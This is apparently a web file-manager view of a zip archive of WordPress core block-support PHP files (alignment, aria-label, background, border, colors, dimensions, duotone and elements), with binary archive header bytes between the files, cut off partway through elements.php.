File manager - Edit - /home/bdwebsol/public_html/demo.bdwebsolution.com/block-supports.zip
Back
PK @�\��R� � align.phpnu �[��� <?php /** * Align block support flag. * * @package WordPress * @since 5.6.0 */ /** * Registers the align block attribute for block types that support it. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_alignment_support( $block_type ) { $has_align_support = block_has_support( $block_type, 'align', false ); if ( $has_align_support ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'align', $block_type->attributes ) ) { $block_type->attributes['align'] = array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ), ); } } } /** * Adds CSS classes for block alignment to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block alignment CSS classes and inline styles. */ function wp_apply_alignment_support( $block_type, $block_attributes ) { $attributes = array(); $has_align_support = block_has_support( $block_type, 'align', false ); if ( $has_align_support ) { $has_block_alignment = array_key_exists( 'align', $block_attributes ); if ( $has_block_alignment ) { $attributes['class'] = sprintf( 'align%s', $block_attributes['align'] ); } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'align', array( 'register_attribute' => 'wp_register_alignment_support', 'apply' => 'wp_apply_alignment_support', ) ); PK @�\��4�� � aria-label.phpnu ȯ�� <?php /** * Aria label block support flag. * * @package WordPress * @since 6.8.0 */ /** * Registers the aria-label block attribute for block types that support it. * * @since 6.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_aria_label_support( $block_type ) { $has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false ); if ( ! $has_aria_label_support ) { return; } if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'ariaLabel', $block_type->attributes ) ) { $block_type->attributes['ariaLabel'] = array( 'type' => 'string', ); } } /** * Add the aria-label to the output. * * @since 6.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * * @return array Block aria-label. */ function wp_apply_aria_label_support( $block_type, $block_attributes ) { if ( ! $block_attributes ) { return array(); } $has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false ); if ( ! $has_aria_label_support || wp_should_skip_block_supports_serialization( $block_type, 'ariaLabel' ) ) { return array(); } $has_aria_label = array_key_exists( 'ariaLabel', $block_attributes ); if ( ! $has_aria_label ) { return array(); } return array( 'aria-label' => $block_attributes['ariaLabel'] ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'aria-label', array( 'register_attribute' => 'wp_register_aria_label_support', 'apply' => 'wp_apply_aria_label_support', ) ); PK @�\<��1 1 background.phpnu �[��� <?php /** * Background block support flag. * * @package WordPress * @since 6.4.0 */ /** * Registers the style block attribute for block types that support it. * * @since 6.4.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_background_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_background_support = block_has_support( $block_type, array( 'background' ), false ); if ( $has_background_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Renders the background styles to the block wrapper. * This block support uses the `render_block` hook to ensure that * it is also applied to non-server-rendered blocks. * * @since 6.4.0 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output. * @since 6.6.0 Removed requirement for `backgroundImage.source`. A file/url is the default. * @since 6.7.0 Added support for `backgroundAttachment` output. * * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_background_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_attributes = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array(); $has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false ); if ( ! $has_background_image_support || wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) || ! isset( $block_attributes['style']['background'] ) ) { return $block_content; } $background_styles = array(); $background_styles['backgroundImage'] = $block_attributes['style']['background']['backgroundImage'] ?? null; $background_styles['backgroundSize'] = $block_attributes['style']['background']['backgroundSize'] ?? null; $background_styles['backgroundPosition'] = $block_attributes['style']['background']['backgroundPosition'] ?? null; $background_styles['backgroundRepeat'] = $block_attributes['style']['background']['backgroundRepeat'] ?? null; $background_styles['backgroundAttachment'] = $block_attributes['style']['background']['backgroundAttachment'] ?? null; if ( ! empty( $background_styles['backgroundImage'] ) ) { $background_styles['backgroundSize'] = $background_styles['backgroundSize'] ?? 'cover'; // If the background size is set to `contain` and no position is set, set the position to `center`. if ( 'contain' === $background_styles['backgroundSize'] && ! $background_styles['backgroundPosition'] ) { $background_styles['backgroundPosition'] = '50% 50%'; } } $styles = wp_style_engine_get_styles( array( 'background' => $background_styles ) ); if ( ! empty( $styles['css'] ) ) { // Inject background styles to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $existing_style = $tags->get_attribute( 'style' ); if ( is_string( $existing_style ) && '' !== $existing_style ) { $separator = str_ends_with( $existing_style, ';' ) ? '' : ';'; $updated_style = "{$existing_style}{$separator}{$styles['css']}"; } else { $updated_style = $styles['css']; } $tags->set_attribute( 'style', $updated_style ); $tags->add_class( 'has-background' ); } return $tags->get_updated_html(); } return $block_content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'background', array( 'register_attribute' => 'wp_register_background_support', ) ); add_filter( 'render_block', 'wp_render_background_support', 10, 2 ); PK @�\��Ӯ% % block-style-variations.phpnu ȯ�� <?php /** * Block support to enable per-section styling of block types via * block style variations. * * @package WordPress * @since 6.6.0 */ /** * Determines the block style variation names within a CSS class string. * * @since 6.6.0 * * @param string $class_string CSS class string to look for a variation in. * * @return array|null The block style variation name if found. */ function wp_get_block_style_variation_name_from_class( $class_string ) { if ( ! is_string( $class_string ) ) { return null; } preg_match_all( '/\bis-style-(?!default)(\S+)\b/', $class_string, $matches ); return $matches[1] ?? null; } /** * Recursively resolves any `ref` values within a block style variation's data. * * @since 6.6.0 * @access private * * @param array $variation_data Reference to the variation data being processed. * @param array $theme_json Theme.json data to retrieve referenced values from. */ function wp_resolve_block_style_variation_ref_values( &$variation_data, $theme_json ) { foreach ( $variation_data as $key => &$value ) { // Only need to potentially process arrays. if ( is_array( $value ) ) { // If ref value is set, attempt to find its matching value and update it. if ( array_key_exists( 'ref', $value ) ) { // Clean up any invalid ref value. if ( empty( $value['ref'] ) || ! is_string( $value['ref'] ) ) { unset( $variation_data[ $key ] ); } $value_path = explode( '.', $value['ref'] ?? '' ); $ref_value = _wp_array_get( $theme_json, $value_path ); // Only update the current value if the referenced path matched a value. if ( null === $ref_value ) { unset( $variation_data[ $key ] ); } else { $value = $ref_value; } } else { // Recursively look for ref instances. wp_resolve_block_style_variation_ref_values( $value, $theme_json ); } } } } /** * Renders the block style variation's styles. * * In the case of nested blocks with variations applied, we want the parent * variation's styles to be rendered before their descendants. This solves the * issue of a block type being styled in both the parent and descendant: we want * the descendant style to take priority, and this is done by loading it after, * in the DOM order. This is why the variation stylesheet generation is in a * different filter. * * @since 6.6.0 * @access private * * @param array $parsed_block The parsed block. * * @return array The parsed block with block style variation classname added. */ function wp_render_block_style_variation_support_styles( $parsed_block ) { $classes = $parsed_block['attrs']['className'] ?? null; $variations = wp_get_block_style_variation_name_from_class( $classes ); if ( ! $variations ) { return $parsed_block; } $tree = WP_Theme_JSON_Resolver::get_merged_data(); $theme_json = $tree->get_raw_data(); // Only the first block style variation with data is supported. $variation_data = array(); foreach ( $variations as $variation ) { $variation_data = $theme_json['styles']['blocks'][ $parsed_block['blockName'] ]['variations'][ $variation ] ?? array(); if ( ! empty( $variation_data ) ) { break; } } if ( empty( $variation_data ) ) { return $parsed_block; } /* * Recursively resolve any ref values with the appropriate value within the * theme_json data. */ wp_resolve_block_style_variation_ref_values( $variation_data, $theme_json ); $variation_instance = wp_unique_id( $variation . '--' ); $class_name = "is-style-$variation_instance"; $updated_class_name = $parsed_block['attrs']['className'] . " $class_name"; /* * Even though block style variations are effectively theme.json partials, * they can't be processed completely as though they are. * * Block styles support custom selectors to direct specific types of styles * to inner elements. For example, borders on Image block's get applied to * the inner `img` element rather than the wrapping `figure`. * * The following relocates the "root" block style variation styles to * under an appropriate blocks property to leverage the preexisting style * generation for simple block style variations. This way they get the * custom selectors they need. * * The inner elements and block styles for the variation itself are * still included at the top level but scoped by the variation's selector * when the stylesheet is generated. */ $elements_data = $variation_data['elements'] ?? array(); $blocks_data = $variation_data['blocks'] ?? array(); unset( $variation_data['elements'] ); unset( $variation_data['blocks'] ); _wp_array_set( $blocks_data, array( $parsed_block['blockName'], 'variations', $variation_instance ), $variation_data ); $config = array( 'version' => WP_Theme_JSON::LATEST_SCHEMA, 'settings' => array( 'spacing' => array( 'blockGap' => true, ), ), 'styles' => array( 'elements' => $elements_data, 'blocks' => $blocks_data, ), ); // Turn off filter that excludes block nodes. They are needed here for the variation's inner block types. if ( ! is_admin() ) { remove_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' ); } // Temporarily prevent variation instance from being sanitized while processing theme.json. $styles_registry = WP_Block_Styles_Registry::get_instance(); $styles_registry->register( $parsed_block['blockName'], array( 'name' => $variation_instance ) ); $variation_theme_json = new WP_Theme_JSON( $config, 'blocks' ); $variation_styles = $variation_theme_json->get_stylesheet( array( 'styles' ), array( 'custom' ), array( 'include_block_style_variations' => true, 'skip_root_layout_styles' => true, 'scope' => ".$class_name", ) ); // Clean up temporary block style now instance styles have been processed. $styles_registry->unregister( $parsed_block['blockName'], $variation_instance ); // Restore filter that excludes block nodes. if ( ! is_admin() ) { add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' ); } if ( empty( $variation_styles ) ) { return $parsed_block; } wp_register_style( 'block-style-variation-styles', false, array( 'wp-block-library', 'global-styles' ) ); wp_add_inline_style( 'block-style-variation-styles', $variation_styles ); /* * Add variation instance class name to block's className string so it can * be enforced in the block markup via render_block filter. */ _wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name ); return $parsed_block; } /** * Ensures the variation block support class name generated and added to * block attributes in the `render_block_data` filter gets applied to the * block's markup. * * @since 6.6.0 * @access private * * @see wp_render_block_style_variation_support_styles * * @param string $block_content Rendered block content. * @param array $block Block object. * * @return string Filtered block content. */ function wp_render_block_style_variation_class_name( $block_content, $block ) { if ( ! $block_content || empty( $block['attrs']['className'] ) ) { return $block_content; } /* * Matches a class prefixed by `is-style`, followed by the * variation slug, then `--`, and finally an instance number. */ preg_match( '/\bis-style-(\S+?--\d+)\b/', $block['attrs']['className'], $matches ); if ( empty( $matches ) ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { /* * Ensure the variation instance class name set in the * `render_block_data` filter is applied in markup. * See `wp_render_block_style_variation_support_styles`. */ $tags->add_class( $matches[0] ); } return $tags->get_updated_html(); } /** * Enqueues styles for block style variations. * * @since 6.6.0 * @access private */ function wp_enqueue_block_style_variation_styles() { wp_enqueue_style( 'block-style-variation-styles' ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'block-style-variation', array() ); add_filter( 'render_block_data', 'wp_render_block_style_variation_support_styles', 10, 2 ); add_filter( 'render_block', 'wp_render_block_style_variation_class_name', 10, 2 ); add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_style_variation_styles', 1 ); /** * Registers block style variations read in from theme.json partials. * * @since 6.6.0 * @access private * * @param array $variations Shared block style variations. */ function wp_register_block_style_variations_from_theme_json_partials( $variations ) { if ( empty( $variations ) ) { return; } $registry = WP_Block_Styles_Registry::get_instance(); foreach ( $variations as $variation ) { if ( empty( $variation['blockTypes'] ) || empty( $variation['styles'] ) ) { continue; } $variation_name = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] ); $variation_label = $variation['title'] ?? $variation_name; foreach ( $variation['blockTypes'] as $block_type ) { $registered_styles = $registry->get_registered_styles_for_block( $block_type ); // Register block style variation if it hasn't already been registered. if ( ! array_key_exists( $variation_name, $registered_styles ) ) { register_block_style( $block_type, array( 'name' => $variation_name, 'label' => $variation_label, ) ); } } } } PK @�\��<sh h border.phpnu ȯ�� <?php /** * Border block support flag. * * @package WordPress * @since 5.8.0 */ /** * Registers the style attribute used by the border feature if needed for block * types that support borders. * * @since 5.8.0 * @since 6.1.0 Improved conditional blocks optimization. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_border_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) { $block_type->attributes['borderColor'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for border styles to the incoming * attributes array. This will be applied to the block markup in the front-end. * * @since 5.8.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Border CSS classes and inline styles. */ function wp_apply_border_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) { return array(); } $border_block_styles = array(); $has_border_color_support = wp_has_border_feature_support( $block_type, 'color' ); $has_border_width_support = wp_has_border_feature_support( $block_type, 'width' ); // Border radius. if ( wp_has_border_feature_support( $block_type, 'radius' ) && isset( $block_attributes['style']['border']['radius'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' ) ) { $border_radius = $block_attributes['style']['border']['radius']; if ( is_numeric( $border_radius ) ) { $border_radius .= 'px'; } $border_block_styles['radius'] = $border_radius; } // Border style. if ( wp_has_border_feature_support( $block_type, 'style' ) && isset( $block_attributes['style']['border']['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ) { $border_block_styles['style'] = $block_attributes['style']['border']['style']; } // Border width. if ( $has_border_width_support && isset( $block_attributes['style']['border']['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ) { $border_width = $block_attributes['style']['border']['width']; // This check handles original unitless implementation. if ( is_numeric( $border_width ) ) { $border_width .= 'px'; } $border_block_styles['width'] = $border_width; } // Border color. if ( $has_border_color_support && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ) { $preset_border_color = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null; $custom_border_color = $block_attributes['style']['border']['color'] ?? null; $border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color; } // Generates styles for individual border sides. if ( $has_border_color_support || $has_border_width_support ) { foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) { $border = $block_attributes['style']['border'][ $side ] ?? null; $border_side_values = array( 'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null, 'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null, 'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null, ); $border_block_styles[ $side ] = $border_side_values; } } // Collect classes and styles. $attributes = array(); $styles = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) ); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Checks whether the current block type supports the border feature requested. * * If the `__experimentalBorder` support flag is a boolean `true` all border * support features are available. Otherwise, the specific feature's support * flag nested under `experimentalBorder` must be enabled for the feature * to be opted into. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block type to check for support. * @param string $feature Name of the feature to check support for. * @param mixed $default_value Fallback value for feature support, defaults to false. * @return bool Whether the feature is supported. */ function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) { // Check if all border support features have been opted into via `"__experimentalBorder": true`. if ( $block_type instanceof WP_Block_Type ) { $block_type_supports_border = $block_type->supports['__experimentalBorder'] ?? $default_value; if ( true === $block_type_supports_border ) { return true; } } // Check if the specific feature has been opted into individually // via nested flag under `__experimentalBorder`. return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'border', array( 'register_attribute' => 'wp_register_border_support', 'apply' => 'wp_apply_border_support', ) ); PK @�\�b��� � colors.phpnu ȯ�� <?php /** * Colors block support flag. * * @package WordPress * @since 5.6.0 */ /** * Registers the style and colors block attributes for block types that support it. * * @since 5.6.0 * @since 6.1.0 Improved $color_support assignment optimization. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_colors_support( $block_type ) { $color_support = false; if ( $block_type instanceof WP_Block_Type ) { $color_support = $block_type->supports['color'] ?? false; } $has_text_colors_support = true === $color_support || ( isset( $color_support['text'] ) && $color_support['text'] ) || ( is_array( $color_support ) && ! isset( $color_support['text'] ) ); $has_background_colors_support = true === $color_support || ( isset( $color_support['background'] ) && $color_support['background'] ) || ( is_array( $color_support ) && ! isset( $color_support['background'] ) ); $has_gradients_support = $color_support['gradients'] ?? false; $has_link_colors_support = $color_support['link'] ?? false; $has_button_colors_support = $color_support['button'] ?? false; $has_heading_colors_support = $color_support['heading'] ?? false; $has_color_support = $has_text_colors_support || $has_background_colors_support || $has_gradients_support || $has_link_colors_support || $has_button_colors_support || $has_heading_colors_support; if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) { $block_type->attributes['backgroundColor'] = array( 'type' => 'string', ); } if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) { $block_type->attributes['textColor'] = array( 'type' => 'string', ); } if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) { $block_type->attributes['gradient'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for colors to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.6.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * * @return array Colors CSS classes and inline styles. */ function wp_apply_colors_support( $block_type, $block_attributes ) { $color_support = $block_type->supports['color'] ?? false; if ( is_array( $color_support ) && wp_should_skip_block_supports_serialization( $block_type, 'color' ) ) { return array(); } $has_text_colors_support = true === $color_support || ( isset( $color_support['text'] ) && $color_support['text'] ) || ( is_array( $color_support ) && ! isset( $color_support['text'] ) ); $has_background_colors_support = true === $color_support || ( isset( $color_support['background'] ) && $color_support['background'] ) || ( is_array( $color_support ) && ! isset( $color_support['background'] ) ); $has_gradients_support = $color_support['gradients'] ?? false; $color_block_styles = array(); // Text colors. if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) { $preset_text_color = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null; $custom_text_color = $block_attributes['style']['color']['text'] ?? null; $color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color; } // Background colors. if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) { $preset_background_color = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null; $custom_background_color = $block_attributes['style']['color']['background'] ?? null; $color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color; } // Gradients. if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) { $preset_gradient_color = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null; $custom_gradient_color = $block_attributes['style']['color']['gradient'] ?? null; $color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color; } $attributes = array(); $styles = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) ); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'colors', array( 'register_attribute' => 'wp_register_colors_support', 'apply' => 'wp_apply_colors_support', ) ); PK @�\{�/� � custom-classname.phpnu �[��� <?php /** * Custom classname block support flag. * * @package WordPress * @since 5.6.0 */ /** * Registers the custom classname block attribute for block types that support it. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_custom_classname_support( $block_type ) { $has_custom_classname_support = block_has_support( $block_type, 'customClassName', true ); if ( $has_custom_classname_support ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'className', $block_type->attributes ) ) { $block_type->attributes['className'] = array( 'type' => 'string', ); } } } /** * Adds the custom classnames to the output. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * * @return array Block CSS classes and inline styles. */ function wp_apply_custom_classname_support( $block_type, $block_attributes ) { $has_custom_classname_support = block_has_support( $block_type, 'customClassName', true ); $attributes = array(); if ( $has_custom_classname_support ) { $has_custom_classnames = array_key_exists( 'className', $block_attributes ); if ( $has_custom_classnames ) { $attributes['class'] = $block_attributes['className']; } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'custom-classname', array( 'register_attribute' => 'wp_register_custom_classname_support', 'apply' => 'wp_apply_custom_classname_support', ) ); PK @�\ �\�� � dimensions.phpnu ȯ�� <?php /** * Dimensions block support flag. * * This does not include the `spacing` block support even though that visually * appears under the "Dimensions" panel in the editor. It remains in its * original `spacing.php` file for compatibility with core. * * @package WordPress * @since 5.9.0 */ /** * Registers the style block attribute for block types that support it. * * @since 5.9.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_dimensions_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_dimensions_support = block_has_support( $block_type, 'dimensions', false ); if ( $has_dimensions_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Adds CSS classes for block dimensions to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.9.0 * @since 6.2.0 Added `minHeight` support. * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block dimensions CSS classes and inline styles. */ function wp_apply_dimensions_support( $block_type, $block_attributes ) { $attributes = array(); if ( wp_should_skip_block_supports_serialization( $block_type, 'dimensions' ) ) { return $attributes; } $block_styles = $block_attributes['style'] ?? null; if ( ! $block_styles ) { return $attributes; } $dimensions_block_styles = array(); $supported_features = array( 'minHeight', 'height', 'width' ); foreach ( $supported_features as $feature ) { $has_support = block_has_support( $block_type, array( 'dimensions', $feature ), false ); $skip_serialization = wp_should_skip_block_supports_serialization( $block_type, 'dimensions', $feature ); $dimensions_block_styles[ $feature ] = null; if ( $has_support && ! $skip_serialization ) { $dimensions_block_styles[ $feature ] = $block_styles['dimensions'][ $feature ] ?? null; } } $styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Renders server-side dimensions styles to the block wrapper. * This block support uses the `render_block` hook to ensure that * it is also applied to non-server-rendered blocks. * * @since 6.5.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_dimensions_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_attributes = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array(); $has_aspect_ratio_support = block_has_support( $block_type, array( 'dimensions', 'aspectRatio' ), false ); if ( ! $has_aspect_ratio_support || wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'aspectRatio' ) ) { return $block_content; } $dimensions_block_styles = array(); $dimensions_block_styles['aspectRatio'] = $block_attributes['style']['dimensions']['aspectRatio'] ?? null; // To ensure the aspect ratio does not get overridden by `minHeight` unset any existing rule. if ( isset( $dimensions_block_styles['aspectRatio'] ) ) { $dimensions_block_styles['minHeight'] = 'unset'; } elseif ( isset( $block_attributes['style']['dimensions']['minHeight'] ) || isset( $block_attributes['minHeight'] ) ) { $dimensions_block_styles['aspectRatio'] = 'unset'; } $styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) ); if ( ! empty( $styles['css'] ) ) { // Inject dimensions styles to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $existing_style = $tags->get_attribute( 'style' ); $updated_style = ''; if ( ! empty( $existing_style ) ) { $updated_style = $existing_style; if ( ! str_ends_with( $existing_style, ';' ) ) { $updated_style .= ';'; } } $updated_style .= $styles['css']; $tags->set_attribute( 'style', $updated_style ); if ( ! empty( $styles['classnames'] ) ) { foreach ( explode( ' ', $styles['classnames'] ) as $class_name ) { if ( str_contains( $class_name, 'aspect-ratio' ) && ! isset( $block_attributes['style']['dimensions']['aspectRatio'] ) ) { continue; } $tags->add_class( $class_name ); } } } return $tags->get_updated_html(); } return $block_content; } add_filter( 'render_block', 'wp_render_dimensions_support', 10, 2 ); // Register the block support. WP_Block_Supports::get_instance()->register( 'dimensions', array( 'register_attribute' => 'wp_register_dimensions_support', 'apply' => 'wp_apply_dimensions_support', ) ); PK @�\�F�� � duotone.phpnu �[��� <?php /** * Duotone block support flag. * * Parts of this source were derived and modified from TinyColor, * released under the MIT license. * * https://github.com/bgrins/TinyColor * * Copyright (c), Brian Grinstead, http://briangrinstead.com * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * @package WordPress * @since 5.8.0 */ // Register the block support. WP_Block_Supports::get_instance()->register( 'duotone', array( 'register_attribute' => array( 'WP_Duotone', 'register_duotone_support' ), ) ); // Add classnames to blocks using duotone support. add_filter( 'render_block', array( 'WP_Duotone', 'render_duotone_support' ), 10, 3 ); add_filter( 'render_block_core/image', array( 'WP_Duotone', 'restore_image_outer_container' ), 10, 1 ); // Enqueue styles. // Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles). // Global styles (global-styles-inline-css) after the other global styles (wp_enqueue_global_styles). add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_block_styles' ), 9 ); add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_global_styles' ), 11 ); // Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css). add_action( 'wp_footer', array( 'WP_Duotone', 'output_footer_assets' ), 10 ); // Add styles and SVGs for use in the editor via the EditorStyles component. add_filter( 'block_editor_settings_all', array( 'WP_Duotone', 'add_editor_settings' ), 10 ); // Migrate the old experimental duotone support flag. add_filter( 'block_type_metadata_settings', array( 'WP_Duotone', 'migrate_experimental_duotone_support_flag' ), 10, 2 ); PK @�\� � elements.phpnu ȯ�� <?php /** * Elements styles block support. * * @package WordPress * @since 5.8.0 */ /** * Gets the elements class names. * * @since 6.0.0 * @access private * * @param array $block Block object. * @return string The unique class name. */ function wp_get_elements_class_name( $block ) { return 'wp-elements-' . md5( serialize( $block ) ); } /** * Determines whether an elements class name should be added to the block. * * @since 6.6.0 * @access private * * @param array $block Block object. * @param array $options Per element type options e.g. whether to skip serialization. * @return bool Whether the block needs an elements class name. */ function wp_should_add_elements_class_name( $block, $options ) { if ( ! isset( $block['attrs']['style']['elements'] ) ) { return false; } $element_color_properties = array( 'button' => array( 'skip' => $options['button']['skip'] ?? false, 'paths' => array( array( 'button', 'color', 'text' ), array( 'button', 'color', 'background' ), array( 'button', 'color', 'gradient' ), ), ), 'link' => array( 'skip' => $options['link']['skip'] ?? false, 'paths' => array( array( 'link', 'color', 'text' ), array( 'link', ':hover', 'color', 'text' ), ), ), 'heading' => array( 'skip' => $options['heading']['skip'] ?? false, 'paths' => array( array( 'heading', 'color', 'text' ), array( 'heading', 'color', 'background' ), array( 'heading', 'color', 'gradient' ), array( 'h1', 'color', 'text' ), array( 'h1', 'color', 'background' ), array( 'h1', 'color', 